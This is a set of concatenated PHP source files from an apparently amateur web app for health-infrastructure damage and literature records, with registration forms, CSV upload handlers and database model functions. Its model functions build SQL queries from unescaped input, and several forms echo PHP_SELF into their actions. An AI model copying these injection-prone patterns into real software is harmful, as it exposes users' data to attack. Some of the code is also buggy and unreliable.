$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
}
?>
<file_sep><!DOCTYPE html>
<html lang="en">
<!--<![endif]-->
<!-- BEGIN HEAD -->
<?php include_once ('controller/c_register_new_user.php'); ?>
<head>
<?php include_once ('dependencies/top_resources.php'); ?>
<?php
if (isset($_POST['fn']) && isset($_POST['mn']) && isset($_POST['ln']) && isset($_POST['em']) && isset($_POST['p1']) && isset($_POST['p2']) && isset($_POST['spe'])) {
$view_result = submit_userform($_POST['fn'], $_POST['mn'], $_POST['ln'], $_POST['em'], $_POST['p1'], $_POST['p2'], $_POST['spe'], $_POST['mas'], $_POST['doc']);
}
?>
</head>
<!-- END HEAD -->
<body class="page-container-bg-solid page-md">
<div class="page-wrapper">
<div class="page-wrapper-row">
<div class="page-wrapper-top">
<!-- BEGIN HEADER -->
<?php include_once ('functions/header.php'); ?>
<!-- END HEADER -->
</div>
</div>
<div class="page-wrapper-row full-height">
<div class="page-wrapper-middle">
<!-- BEGIN CONTAINER -->
<div class="page-container">
<!-- BEGIN CONTENT -->
<div class="page-content-wrapper">
<!-- BEGIN CONTENT BODY -->
<!-- BEGIN PAGE HEAD-->
<div class="page-head">
<div class="container">
<!-- BEGIN PAGE TITLE -->
<div class="page-title">
<h1>Register New User</h1>
</div>
<!-- END PAGE TITLE -->
<!-- BEGIN PAGE TOOLBAR -->
<div class="page-toolbar">
</div>
<!-- END PAGE TOOLBAR -->
</div>
</div>
<!-- END PAGE HEAD-->
<!-- BEGIN PAGE CONTENT BODY -->
<div class="page-content">
<div class="container">
<!-- BEGIN PAGE BREADCRUMBS -->
<ul class="page-breadcrumb breadcrumb">
<li>
<span>Administrative</span>
<i class="fa fa-circle"></i>
</li>
<li>
<a href="manage_user.jsp">Manage User</a>
<i class="fa fa-circle"></i>
</li><li>
<span>Register New User</span>
</li>
</ul>
<!-- END PAGE BREADCRUMBS -->
<!----BODY--->
<div class="page-content-inner">
<!----BODY--->
<!-- BEGIN PAGE CONTENT INNER -->
<div class="page-content-inner">
<!----BODY--->
<div class="row">
<div class="col-md-6 col-sm-6">
<div class="portlet light ">
<div class="portlet-title">
<div class="caption caption-md">
<i class="icon-bar-chart font-dark hide"></i>
<span class="caption-subject font-green-steel uppercase bold">Register New User</span>
</div>
</div>
<div class="portlet-body">
<div class="row list-separated">
<form class="col-md-10" method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">
<div class="form-group">
<label for="exampleInputEmail1">First Name</label>
<input type="text" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" placeholder="First Name" name="fn" required>
</div>
<div class="form-group">
<label for="exampleInputEmail1">Middle Name</label>
<input type="text" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" placeholder="Middle Name" name="mn" required>
</div>
<div class="form-group">
<label for="exampleInputEmail1">Last Name</label>
<input type="text" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" placeholder="Last Name" name="ln" required>
</div>
<div class="form-group">
<label for="exampleInputEmail1">Email</label>
<input type="email" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" placeholder="Email" name="em" required>
</div>
<div class="form-group">
<label for="exampleInputEmail1">Password</label>
<input type="password" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" placeholder="Password" name="p1" required>
</div>
<div class="form-group">
<label for="exampleInputEmail1">Re-enter Password</label>
<input type="password" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" placeholder="Re-Enter Password" name="p2" required>
</div>
<div class="form-group">
<label for="exampleInputEmail1">Specializations</label>
<input type="text" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" placeholder="Specializations" name="spe" required>
<small>Please input all specializations separated by a comma.</small></div>
<div class="form-group">
<label for="exampleInputEmail1">Masters</label>
<input type="text" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" placeholder="Masters" name="mas" >
<small>Leave blank if not applicable.</small> </div>
<div class="form-group">
<label for="exampleInputEmail1">Doctorate</label>
<input type="text" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" placeholder="Doctorate" name="doc">
<small>Leave blank if not applicable.</small></div>
<button type="submit" class="btn btn-info pull left" >Register User</button>
</form>
</div>
</div>
<ul class="list-separated list-inline-xs hide">
</ul>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- END PAGE CONTENT INNER -->
</div>
</div>
<!-- END PAGE CONTENT BODY -->
<!-- END CONTENT BODY -->
</div>
<!-- END CONTENT -->
<!-- BEGIN QUICK SIDEBAR -->
<a href="javascript:;" class="page-quick-sidebar-toggler">
<i class="icon-login"></i>
</a>
<!-- END QUICK SIDEBAR -->
</div>
<!-- END CONTAINER -->
</div>
</div>
<div class="page-wrapper-row">
<div class="page-wrapper-bottom">
<!-- BEGIN FOOTER -->
<?php include_once ('functions/footer.php'); ?>
<!-- END FOOTER -->
</div>
</div>
</div>
<!--[if lt IE 9]>
<script src="assets/global/plugins/respond.min.js"></script>
<script src="assets/global/plugins/excanvas.min.js"></script>
<script src="assets/global/plugins/ie8.fix.min.js"></script>
<![endif]-->
<?php include_once ('dependencies/bottom_resources.php'); ?>
</body>
</html><file_sep>
<html lang="en">
<!--<![endif]-->
<!-- BEGIN HEAD -->
<?php include_once ('controller/c_collection_upload_literature.php');
?>
<head>
<?php
include_once ('dependencies/top_resources.php');
if (isset($_FILES['fileupload'])) {
$imgData = $_FILES['fileupload'];
if ($_FILES['fileupload']['name'] == "RRL.csv") {
$view_result = submit_literatureupload($_SESSION['project'], $imgData, $_SESSION['userid']);
if(isset($view_result)||is_array($view_result)){
$errorarray=$view_result;
}
} else {
echo "<script type='text/javascript'>alert('Please upload the standard file!');</script>";
}
} else if (isset($_POST['title']) && isset($_POST['author']) && isset($_POST['abstract']) && isset($_POST['yearofpublication']) && isset($_POST['categoryoflit']) && isset($_POST['source']) && isset($_POST['keywords'])) {
$arr = explode("/", $_POST['categoryoflit'], 2);
$type = $arr[0];
$type = rtrim($type);
$category = $arr[1];
$category = rtrim($category);
$projectid = $_SESSION['project'];
$view_result=submit_form_literatureupload($projectid, $_POST['yearofpublication'], $_POST['title'], $_POST['author'], $_POST['abstract'], $category, $type, $_POST['source'], $_POST['keywords'], $_POST['source'], $_SESSION['userid']);
}
?>
</head>
<!-- END HEAD -->
<body class="page-container-bg-solid page-md">
<div class="page-wrapper">
<div class="page-wrapper-row">
<div class="page-wrapper-top">
<!-- BEGIN HEADER -->
<?php include_once ('functions/header.php'); ?>
<!-- END HEADER -->
</div>
</div>
<div class="page-wrapper-row full-height">
<div class="page-wrapper-middle">
<!-- BEGIN CONTAINER -->
<div class="page-container">
<!-- BEGIN CONTENT -->
<div class="page-content-wrapper">
<!-- BEGIN CONTENT BODY -->
<!-- BEGIN PAGE HEAD-->
<div class="page-head">
<div class="container">
<!-- BEGIN PAGE TITLE -->
<div class="page-title">
<h1>Literature Upload</h1>
</div>
<!-- END PAGE TITLE -->
<!-- BEGIN PAGE TOOLBAR -->
<div class="page-toolbar">
</div>
<!-- END PAGE TOOLBAR -->
</div>
</div>
<!-- END PAGE HEAD-->
<!-- BEGIN PAGE CONTENT BODY -->
<div class="page-content">
<div class="container">
<!-- BEGIN PAGE BREADCRUMBS -->
<ul class="page-breadcrumb breadcrumb">
<li>
<span>Data Collection</span>
<i class="fa fa-circle"></i>
</li>
<li>
<span>Literature Upload</span>
</li>
</ul>
<!-- END PAGE BREADCRUMBS -->
<!----BODY--->
<div class="page-content-inner">
<!-- BEGIN PAGE CONTENT INNER -->
<div class="page-content-inner">
<!----BODY--->
<div class="row">
<div class="col-md-6 col-sm-15">
<div class="portlet light ">
<div class="portlet-title">
<div class="caption caption-md">
<i class="icon-bar-chart font-dark hide"></i>
<span class="caption-subject font-green-steel uppercase bold">UPLOAD REVIEW OF RELATED LITERATURE</span>
</div>
</div>
<div class="portlet-body">
<div class="row list-separated">
<form class="col-md-10" method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>" >
<div class="form-group">
<label for="exampleInputEmail">Title</label>
<input type="text" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" placeholder="Title" name="title" required>
</div>
<div class="form-group">
<label for="exampleInputEmail">Author</label>
<input type="text" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" placeholder="Author" name="author" required>
</div>
<div class="form-group">
<label for="exampleInputEmail1">Abstract</label>
<textarea row="3" col="10" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" placeholder="Abstract" name="abstract" required></textarea>
</div>
<div class="form-group">
<label for="exampleInputEmail">Year of Publication</label>
<input type="number" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" placeholder="Year of Publication" name="yearofpublication" required>
</div>
<div class="form-group">
<label for="single" class="control-label">Type of Literature</label>
<select id="single" class="form-control select2" name="categoryoflit">
<option></option>
<optgroup label="Gray">
<option value="News Articles / Grey">News Articles</option>
<option value="Conference Papers / Grey">Conference Papers</option>
</optgroup>
<optgroup label="Scientific">
<option value="Scientific / Scientific">Scientific</option>
</optgroup>
</select>
</div>
<div class="form-group">
<label for="exampleInputEmail">Source</label>
<input type="text" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" placeholder="Source" name="source" required>
</div>
<div class="form-group">
<label for="exampleInputEmail">Key Words</label>
<input type="text" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" placeholder="Key Words" name="keywords" required data-role="tagsinput">
</div>
<div class="pull-left">
<button type="submit" class="btn btn-info">Submit Literature</button>
</div>
</form>
</div>
</div>
</div>
</div>
<div class="col-md-6 col-sm-15">
<div class="portlet light ">
<div class="portlet-title">
<div class="caption caption-md">
<i class="icon-bar-chart font-dark hide"></i>
<span class="caption-subject font-green-steel uppercase bold">UPLOAD REVIEW OF RELATED LITERATURE CSV FILE</span>
</div>
</div>
<div class="portlet-body">
<div class="row list-separated">
<form class="col-md-10" method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>" name="frmImage" enctype="multipart/form-data" >
<div class="form-group" style="padding-bottom:40px;">
<div class="col-md-3">
<div class="fileinput fileinput-new" data-provides="fileinput">
<div class="input-group input-large">
<div class="form-control uneditable-input input-fixed input-medium" data-trigger="fileinput">
<i class="fa fa-file fileinput-exists"></i>
<span class="fileinput-filename"> </span>
</div>
<span class="input-group-addon btn default btn-file">
<span class="fileinput-new"> Select file </span>
<span class="fileinput-exists"> Change </span>
<input type="file" name="fileupload"> </span>
<a href="javascript:;" class="input-group-addon btn red fileinput-exists" data-dismiss="fileinput"> Remove </a>
</div>
</div>
</div>
</div>
<div class="pull-left" style="padding-left: 15px;">
<button type="submit" class="btn btn-info">Submit</button>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- END PAGE CONTENT INNER -->
</div>
</div>
<!-- END PAGE CONTENT BODY -->
<!-- END CONTENT BODY -->
<div style="display: none;" class="btn btn-default mt-sweetalert" data-title="Health Data Uploaded" data-message="The information you have entered has been successfully saved" data-allow-outside-click="true" data-confirm-button-class="btn-default" id ="confirm">Default Alert</div>
<div style="display: none;" class="btn btn-default mt-sweetalert" data-title="Error on Upload" data-message="
<?php
if (isset($errorarray)){
$x=0;
$rowreccurence=array_count_values($errorarray);
$keysofrowrecurrence= array_keys($rowreccurence);
$message=array();
foreach ($rowreccurence as $arr){
$row=$keysofrowrecurrence[$x];
$rowcomputed=$row+1;
$msg="There is/are $rowreccurence[$row] errors on row $rowcomputed | ";
echo $msg;
array_push($message, $msg);
$x++;
}
}?>" data-allow-outside-click="true" data-confirm-button-class="btn-default" id ="error">Default Alert</div>
<div style="display: none;" class="btn btn-default mt-sweetalert" data-title="Budget Catetgory Update" data-message="The information you have entered has been successfully saved" data-allow-outside-click="true" data-confirm-button-class="btn-default" id ="update">Default Alert</div>
<div style="display: none;" class="btn btn-default mt-sweetalert" data-title="Saved" data-message="The items you have uploaded has been saved" data-allow-outside-click="true" data-confirm-button-class="btn-default" id ="Confirm">Default Alert</div>
</div>
<!-- END CONTENT -->
<!-- BEGIN QUICK SIDEBAR -->
<a href="javascript:;" class="page-quick-sidebar-toggler">
<i class="icon-login"></i>
</a>
<!-- END QUICK SIDEBAR -->
</div>
<!-- END CONTAINER -->
</div>
</div>
<div class="page-wrapper-row">
<div class="page-wrapper-bottom">
<!-- BEGIN FOOTER -->
<?php include_once ('functions/footer.php'); ?>
<!-- END FOOTER -->
</div>
</div>
</div>
<!--[if lt IE 9]>
<script src="assets/global/plugins/respond.min.js"></script>
<script src="assets/global/plugins/excanvas.min.js"></script>
<script src="assets/global/plugins/ie8.fix.min.js"></script>
<![endif]-->
<?php include_once ('dependencies/bottom_resources.php'); ?>
<script>
<?php
if (isset($view_result) && $view_result == 1) {
echo'$(document).ready(function(){
document.getElementById("confirm").click();
});';
} else if (isset($errorarray)) {
echo'$(document).ready(function(){
document.getElementById("error").click();
});';
} else if (isset($view_result) && $view_result == 3) {
echo'$(document).ready(function(){
document.getElementById("update").click();
});';
}
?>
</script>
</body>
</html><file_sep>
<!DOCTYPE html>
<html lang="en">
<!--<![endif]-->
<!-- BEGIN HEAD -->
<?php include_once ('controller/c_dashboard.php'); ?>
<head>
<?php include_once ('dependencies/top_resources.php');?>
</head>
<!-- END HEAD -->
<body class="page-container-bg-solid page-md">
<div class="page-wrapper">
<div class="page-wrapper-row">
<div class="page-wrapper-top">
<!-- BEGIN HEADER -->
<?php include_once ('functions/header.php');?>
<!-- END HEADER -->
</div>
</div>
<div class="page-wrapper-row full-height">
<div class="page-wrapper-middle">
<!-- BEGIN CONTAINER -->
<div class="page-container">
<!-- BEGIN CONTENT -->
<div class="page-content-wrapper">
<!-- BEGIN CONTENT BODY -->
<!-- BEGIN PAGE HEAD-->
<div class="page-head">
<div class="container">
<!-- BEGIN PAGE TITLE -->
<div class="page-title">
<h1>Sum Of All Event Data</h1>
</div>
<!-- END PAGE TITLE -->
<!-- BEGIN PAGE TOOLBAR -->
<div class="page-toolbar">
</div>
<!-- END PAGE TOOLBAR -->
</div>
</div>
<!-- END PAGE HEAD-->
<!-- BEGIN PAGE CONTENT BODY -->
<div class="page-content">
<div class="container">
<!-- BEGIN PAGE BREADCRUMBS -->
<ul class="page-breadcrumb breadcrumb">
<li>
<a href="">Analytics</a>
<i class="fa fa-circle"></i>
</li>
<li>
<span>Sum Of All Event Data</span>
</li>
</ul>
<!-- END PAGE BREADCRUMBS -->
<!-- BEGIN PAGE CONTENT INNER -->
<div class="page-content-inner">
</div>
<!-- BEGIN ROW -->
<div class="row">
<div class="col-md-12">
<!-- BEGIN CHART PORTLET-->
<div class="portlet light ">
<div class="portlet-title">
<div class="caption">
<span class="caption-subject bold uppercase font-green-haze">SUM OF ALL EVENT DATA</span>
</div>
<div class="tools">
<a href="javascript:;" class="collapse"> </a>
<a href="javascript:;" class="fullscreen"> </a>
</div>
</div>
<div class="portlet-body">
<div id="chartdiv" style="width:100%;height:500px"></div>
</div>
</div>
<!-- END CHART PORTLET-->
</div>
</div>
<!-- END ROW -->
</div>
<!-- END PAGE CONTENT INNER -->
</div>
</div>
<!-- END PAGE CONTENT BODY -->
<!-- END CONTENT BODY -->
</div>
<!-- END CONTENT -->
<!-- BEGIN QUICK SIDEBAR -->
<a href="javascript:;" class="page-quick-sidebar-toggler">
<i class="icon-login"></i>
</a>
<!-- END QUICK SIDEBAR -->
</div>
<!-- END CONTAINER -->
</div>
</div>
<div class="page-wrapper-row">
<div class="page-wrapper-bottom">
<!-- BEGIN FOOTER -->
<?php include_once ('functions/footer.php');?>
<!-- END FOOTER -->
</div>
</div>
</div>
<!--[if lt IE 9]>
<script src="assets/global/plugins/respond.min.js"></script>
<script src="assets/global/plugins/excanvas.min.js"></script>
<script src="assets/global/plugins/ie8.fix.min.js"></script>
<![endif]-->
<?php include_once ('dependencies/bottom_resources.php');?>
<script>
var chart = AmCharts.makeChart( "chartdiv", {
"type": "pie",
"theme": "light",
"dataProvider":
<?php require_once 'data.php';
$year=null;
$month=null;
$region=null;
$city=null;
$facility=null;
$barangay=null;
$uploadedBy=null;
$uploadDate=null;
affectedareas_extremeevents_all($year, $month, $region, $city, $barangay, $facility, $uploadedBy, $uploadDate);?>,
"valueField": "number_of_incidents",
"titleField": "region",
"outlineAlpha": 0.4,
"depth3D": 15,
"balloonText": "[[title]]<br><span style='font-size:14px'><b>[[value]]</b> ([[percents]]%)</span>",
"angle": 30,
"export": {
"enabled": true
}
} );</script>
</body>
</html><file_sep>
<?php
require_once 'model/m_expense_category.php';
function submit_categoryofexpense($name, $description) {
$controller_result = setexpensecategory($name, $description);
return 1;
}
function generate_all_expensecategory() {
$result = array();
$result = getallexpensecategory();
return $result;
}
function delete_categoryexpense($deactivate) {
$controller_result = deactivateexpensecategory($deactivate);
return 2;
}
function getupdate_expensecategory($update) {
$result = array();
$result = getexpensecategory($update);
return $result;
}
function submitupdate_expensecategory($name, $description, $id) {
$controller_result = updateexpensecategory($name, $description, $id);
return 3;
}
<file_sep>
<?php
require_once 'model/m_funding_organization_type.php';
function submit_fundingorganizationtype($name, $description) {
$controller_result = setfundingorganizationtype($name, $description);
return 1;
}
function generate_all_fundingorganizationtype() {
$result = array();
$result = getallfundingorganizationtype();
return $result;
}
function delete_fundingorganizationtype($deactivate) {
$controller_result = deactivatefundingorganizationtype($deactivate);
return 2;
}
function getupdate_fundingorganizationtype($update) {
$result = array();
$result = getfundingorganizationtype($update);
return $result;
}
function submitupdate_fundingorganizationtype($name, $description, $id) {
$controller_result = updatefundingorganizationtype($name, $description, $id);
return 3;
}
<file_sep><?php
require_once 'model/m_minutes_meeting.php';
function get_minutes(){
$result=array();
$result= getall_minutes();
return $result;
}
?>
<file_sep><?php
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
require_once ('model/m_rrl.php');
require_once ('model/m_project_user.php');
require_once ('model/m_keyword.php');
require_once ('model/m_rrl_keyword.php');
require_once ('model/m_category_literature.php');
require_once ('model/m_type_of_literature.php');
require_once ('model/m_project_user.php');
require_once ('model/m_project_user.php');
function generate_all_rrl() {
$result = array();
$result = getallrrl();
return $result;
}
function submit_literatureupload($projectid, $data, $userid) {
$fh = fopen($data['tmp_name'], 'r+');
$lines = array();
while (($row = fgetcsv($fh, 8192)) !== FALSE) {
$lines[] = $row;
}
$x = 0;
$checker = array();
$arr_content = array();
$keywordsarray = array();
foreach ($lines as $arr_result) {
if ($x > 0) {
$y = 0;
$year = $arr_result[0];
if ($year == NULL || $year < 0) {
array_push($checker, $x);
}
$title = $arr_result[1];
if ($title == NULL || !is_string($title)) {
array_push($checker, $x);
}
$author = $arr_result[2];
if ($author == NULL || !is_string($author)) {
array_push($checker, $x);
}
$abstract = $arr_result[3];
if ($abstract == NULL || !is_string($abstract)) {
array_push($checker, $x);
}
//Type ID
$type = $arr_result[4];
$typeID = comparetypeoflit($type);
if ($typeID <= 0) {
array_push($checker, $x);
}
//Category ID
$category = $arr_result[5];
$categoryID = comparecategory($category);
if ($categoryID <= 0) {
array_push($checker, $x);
}
$source = $arr_result[6];
if ($source == NULL || !is_string($source)) {
array_push($checker, $x);
}
$keywords = $arr_result[7];
$kwarray = (explode(',', $keywords));
$temparray = array();
foreach ($kwarray as $kw) {
array_push($temparray, $kw[$y]);
$y++;
}
array_push($keywordsarray, $temparray);
$link = $arr_result[8];
if ($link == NULL || !is_string($link)) {
array_push($checker, $x);
}
$projectID = $projectid;
$userID = $userid;
$newdata = array(
'year' => $year,
'title' => $title,
'author' => $author,
'abstract' => $abstract,
'typeoflit' => $typeID,
'category' => $categoryID,
'source' => $source,
'inputtedby' => $userID,
'project' => $projectID,
'link' => $link
);
array_push($arr_content, $newdata);
}
$x++;
}
if ($checker==NULL) {
foreach ($arr_content as $line) {
$projectID = $line['project'];
$year = $line['year'];
$title = $line['title'];
$author = $line['author'];
$abstract = $line['abstract'];
$typeID = $line['typeoflit'];
$categoryID = $line['category'];
$source = $line['source'];
$link = $line['link'];
$userID = $line['inputtedby'];
uploadliterature($projectID, $year, $title, $author, $abstract, $typeID, $categoryID, $source, $link, $userID);
}
return 1;
} else {
return $checker;
}
}
function submit_form_literatureupload($projectID, $year, $title, $author, $abstract, $type, $category, $source, $keywords, $link, $userID) {
$categoryID = comparecategory($category);
$typeID = comparetypeoflit($type);
$controller_result = uploadliterature($projectID, $year, $title, $author, $abstract, $typeID, $categoryID, $source, $keywords, $link, $userID);
return 1;
}
function comparekeyword($keyword) {
$result = getkeywordidfromtext($keyword);
if ($result != FALSE) {
foreach ($result as $arr_result) {
$keyID = $arr_result['keywordID'];
}
return $keyID;
} else {
return $keyword;
}
}
function comparecategory($category) {
$result = getcategoryoflitfromtext($category);
if ($result != FALSE) {
foreach ($result as $arr_result) {
$categoryID = $arr_result['categoryID'];
}
return $categoryID;
} else {
return 0;
}
}
function comparetypeoflit($type) {
$result = gettypeoflitfromtext($type);
if ($result != FALSE) {
foreach ($result as $arr_result) {
$typeID = $arr_result['typeOfLitID'];
}
return $typeID;
} else {
return 0;
}
}
function submitkeyword($keyword) {
setkeyword($keyword);
}
<file_sep>
<html lang="en">
<!--<![endif]-->
<!-- BEGIN HEAD -->
<?php include_once ('controller/c_collection_upload_healthinfrastructure.php'); ?>
<head>
<?php
include_once ('dependencies/top_resources.php');
if (isset($_FILES['fileupload'])) {
$imgData = $_FILES['fileupload'];
if ($_FILES['fileupload']['name'] == "HEALTH_INFRASTRUCTURE_DAMAGE.csv") {
$view_result = submit_health_infrastructure_damages($_SESSION['project'], $imgData, $_SESSION['userid']);
if (isset($view_result) || is_array($view_result)) {
$errorarray = $view_result;
}
} else {
echo "<script type='text/javascript'>alert('Please upload the standard file!');</script>";
}
}
?>
</head>
<!-- END HEAD -->
<body class="page-container-bg-solid page-md">
<div class="page-wrapper">
<div class="page-wrapper-row">
<div class="page-wrapper-top">
<!-- BEGIN HEADER -->
<?php include_once ('functions/header.php'); ?>
<!-- END HEADER -->
</div>
</div>
<div class="page-wrapper">
<div class="page-wrapper-row">
<div class="page-wrapper-top">
<!-- BEGIN HEADER -->
<?php include_once ('functions/header.php'); ?>
<!-- END HEADER -->
</div>
</div>
<div class="page-wrapper-row full-height">
<div class="page-wrapper-middle">
<!-- BEGIN CONTAINER -->
<div class="page-container">
<!-- BEGIN CONTENT -->
<div class="page-content-wrapper">
<!-- BEGIN CONTENT BODY -->
<!-- BEGIN PAGE HEAD-->
<div class="page-head">
<div class="container">
<!-- BEGIN PAGE TITLE -->
<div class="page-title">
<h1>Health Infrastructure Damages</h1>
</div>
<!-- END PAGE TITLE -->
<!-- BEGIN PAGE TOOLBAR -->
<div class="page-toolbar">
</div>
<!-- END PAGE TOOLBAR -->
</div>
</div>
<!-- END PAGE HEAD-->
<!-- BEGIN PAGE CONTENT BODY -->
<div class="page-content">
<div class="container">
<!-- BEGIN PAGE BREADCRUMBS -->
<ul class="page-breadcrumb breadcrumb">
<li>
<span>Data Collection</span>
<i class="fa fa-circle"></i>
</li>
<li>
<span>Health Infrastructure Damages</span>
</li>
</ul>
<!-- END PAGE BREADCRUMBS -->
<div class="page-content-inner">
<!-- BEGIN PAGE CONTENT INNER -->
<div class="page-content-inner">
<div class="row">
<div class="col-md-6 col-sm-15">
<div class="portlet light ">
<div class="portlet-title">
<div class="caption caption-md">
<i class="icon-bar-chart font-dark hide"></i>
<span class="caption-subject font-green-steel uppercase bold">UPLOAD HEALTH INFRASTRUCTURE DAMAGES</span>
</div>
</div>
<div class="portlet-body">
<div class="row list-separated">
<form class="col-md-10">
<div class="form-group">
<label for="single" class="control-label">Infrastructure Damages</label>
<select id="single" class="form-control select2">
<option value="Regional">Regional</option>
<option value="Provincial">Provincial</option>
<option value="Municipal">Municipal</option>
<option value="Barangay">Barangay</option>
<option value="Line/Birthing">Line/Birthing</option>
</select>
</div>
<div class="form-group">
<label for="single" class="control-label">Level of Hospital</label>
<select id="single" class="form-control select2">
<option value="Primary">Primary</option>
<option value="Secondary">Secondary</option>
</select>
</div>
<div class="form-group">
<label for="single" class="control-label">Water System Damages</label>
<select id="single" class="form-control select2">
<option value="Sewage">Sewage System</option>
<option value="Waste">Waste Management System</option>
<option value="Water">Water System</option>
</select>
</div>
<div class="pull-left">
<button type="submit" class="btn btn-info">Upload Health Infrastructure Damages</button>
</div>
</form>
</div>
</div>
</div>
</div>
<div class="col-md-6 col-sm-15">
<div class="portlet light ">
<div class="portlet-title">
<div class="caption caption-md">
<i class="icon-bar-chart font-dark hide"></i>
<span class="caption-subject font-green-steel uppercase bold">UPLOAD HEALTH INFRASTRUCTURE DAMAGES CSV FILE</span>
</div>
</div>
<div class="portlet-body">
<div class="row list-separated">
<form class="col-md-10" method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>" name="frmImage" enctype="multipart/form-data" >
<div class="form-group" style="padding-bottom:40px;">
<div class="col-md-3">
<div class="fileinput fileinput-new" data-provides="fileinput">
<div class="input-group input-large">
<div class="form-control uneditable-input input-fixed input-medium" data-trigger="fileinput">
<i class="fa fa-file fileinput-exists"></i>
<span class="fileinput-filename"> </span>
</div>
<span class="input-group-addon btn default btn-file">
<span class="fileinput-new"> Select file </span>
<span class="fileinput-exists"> Change </span>
<input type="file" name="fileupload"> </span>
<a href="javascript:;" class="input-group-addon btn red fileinput-exists" data-dismiss="fileinput"> Remove </a>
</div>
</div>
</div>
</div>
<div class="pull-left">
<button type="submit" class="btn btn-info">Submit</button>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- END PAGE CONTENT INNER -->
</div>
</div>
<!-- END PAGE CONTENT BODY -->
<!-- END CONTENT BODY -->
<div style="display: none;" class="btn btn-default mt-sweetalert" data-title="Health Data Uploaded" data-message="The information you have entered has been successfully saved" data-allow-outside-click="true" data-confirm-button-class="btn-default" id ="confirm">Default Alert</div>
<div style="display: none;" class="btn btn-default mt-sweetalert" data-title="Error on Upload" data-message="
<?php
if (isset($errorarray)){
$x=0;
$rowreccurence=array_count_values($errorarray);
$keysofrowrecurrence= array_keys($rowreccurence);
$message=array();
foreach ($rowreccurence as $arr){
$row=$keysofrowrecurrence[$x];
$rowcomputed=$row+1;
$msg="There is/are $rowreccurence[$row] errors on row $rowcomputed | ";
echo $msg;
array_push($message, $msg);
$x++;
}
}?>" data-allow-outside-click="true" data-confirm-button-class="btn-default" id ="error">Default Alert</div>
<div style="display: none;" class="btn btn-default mt-sweetalert" data-title="Budget Catetgory Update" data-message="The information you have entered has been successfully saved" data-allow-outside-click="true" data-confirm-button-class="btn-default" id ="update">Default Alert</div>
</div>
<!-- END CONTENT -->
<!-- BEGIN QUICK SIDEBAR -->
<a href="javascript:;" class="page-quick-sidebar-toggler">
<i class="icon-login"></i>
</a>
<!-- END QUICK SIDEBAR -->
</div>
<!-- END CONTAINER -->
</div>
</div>
</div>
<div class="page-wrapper-row">
<div class="page-wrapper-bottom">
<!-- BEGIN FOOTER -->
<?php include_once ('functions/footer.php'); ?>
<!-- END FOOTER -->
</div>
</div>
</div>
<!--[if lt IE 9]>
<script src="assets/global/plugins/respond.min.js"></script>
<script src="assets/global/plugins/excanvas.min.js"></script>
<script src="assets/global/plugins/ie8.fix.min.js"></script>
<![endif]-->
<?php include_once ('dependencies/bottom_resources.php'); ?>
<script>
<?php
if (isset($view_result) && $view_result == 1) {
echo'$(document).ready(function(){
document.getElementById("confirm").click();
});';
} else if (isset($errorarray)) {
echo'$(document).ready(function(){
document.getElementById("error").click();
});';
} else if (isset($view_result) && $view_result == 3) {
echo'$(document).ready(function(){
document.getElementById("update").click();
});';
}
?>
</script>
</body>
</html><file_sep><?php
function getallfundingorganizationtype(){
require_once('dbconnect.php');
$query="SELECT * FROM funding_organization_type WHERE active = 1";
$con=createconnection();
if (isset($query)){
$result=mysqli_query($con,$query);
$num_rows = mysqli_num_rows($result);
$query_result=array();
if($num_rows> 0)
{
while($row=mysqli_fetch_array($result,MYSQLI_ASSOC)){
$query_result[]=$row;
}
return $query_result;
}
else{
return FALSE;
}
}
$con->close();
}
function setfundingorganizationtype($name,$description){
$datenow=date("Y-m-d H:i:s");
require_once('dbconnect.php');
$query="INSERT INTO funding_organization_type (name,description) VALUES ('$name','$description')";
$con=createconnection();
if (isset($query)){
$result=mysqli_query($con,$query);
return TRUE;
}
$con->close();
}
function deactivatefundingorganizationtype($id){
require_once('dbconnect.php ');
$query="UPDATE funding_organization_type SET ACTIVE=0 WHERE fundingorganization_typeID = '$id'";
$con=createconnection();
if (isset($query)){
$result=mysqli_query($con,$query);
return TRUE;
}
$con->close();
}
function getbudgetcategory($id){
require_once('dbconnect.php');
$query="SELECT * FROM funding_organization_type WHERE active = 1 AND fundingorganization_typeID = '$id'";
$con=createconnection();
if (isset($query)){
$result=mysqli_query($con,$query);
$num_rows = mysqli_num_rows($result);
$query_result=array();
if($num_rows> 0)
{
while($row=mysqli_fetch_array($result,MYSQLI_ASSOC)){
$query_result[]=$row;
}
return $query_result;
}
else{
return FALSE;
}
}
$con->close();
}
function updatebudgetcategory($name,$description,$id)
{
require_once('dbconnect.php');
$query="UPDATE funding_organization_type SET name='$name', description='$description' WHERE fundingorganization_typeID= '$id'";
$con=createconnection();
if (isset($query)){
$result=mysqli_query($con,$query);
return TRUE;
}
$con->close();
}
function getfundingorganizationtype($id){
require_once('dbconnect.php');
$query="SELECT * FROM funding_organization_type WHERE active = 1 AND fundingorganization_typeID = '$id'";
$con=createconnection();
if (isset($query)){
$result=mysqli_query($con,$query);
$num_rows = mysqli_num_rows($result);
$query_result=array();
if($num_rows> 0)
{
while($row=mysqli_fetch_array($result,MYSQLI_ASSOC)){
$query_result[]=$row;
}
return $query_result;
}
else{
return FALSE;
}
}
$con->close();
}
